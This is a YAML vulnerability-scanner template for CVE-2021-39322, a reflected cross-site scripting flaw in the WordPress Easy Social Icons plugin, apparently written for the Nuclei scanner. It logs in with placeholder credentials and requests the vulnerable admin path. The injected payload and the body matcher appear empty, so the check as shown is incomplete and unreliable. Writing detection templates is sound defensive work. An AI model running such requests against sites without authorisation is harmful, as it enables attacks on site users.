id: CVE-2021-39322 info: name: WordPress Easy Social Icons Plugin < 3.0.9 - Reflected Cross-Site Scripting author: dhiyaneshDK severity: medium description: The Easy Social Icons plugin <= 3.0.8 for WordPress echoes out the raw value of `$_SERVER['PHP_SELF']` in its main file. On certain configurations including Apache+modPHP this makes it possible to use it to perform a reflected cross-site scripting attack by injecting malicious code in the request path. reference: - https://wpscan.com/vulnerability/5e0bf0b6-9809-426b-b1d4-1fb653083b58 - https://nvd.nist.gov/vuln/detail/CVE-2021-39322 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N cvss-score: 6.1 cve-id: CVE-2021-39322 cwe-id: CWE-79 tags: wordpress,cve,cve2021,wp-plugin,authenticated requests: - raw: - | POST /wp-login.php HTTP/1.1 Host: {{Hostname}} Origin: {{RootURL}} Content-Type: application/x-www-form-urlencoded Cookie: wordpress_test_cookie=WP%20Cookie%20check log={{username}}&pwd={{password}}&wp-submit=Log+In&testcookie=1 - | GET /wp-admin/admin.php//?page=cnss_social_icon_page HTTP/1.1 Host: {{Hostname}} cookie-reuse: true matchers-condition: and matchers: - type: word part: body words: - '' - type: status status: - 200 - type: word part: header words: - "text/html" # Enhanced by mp on 2022/03/23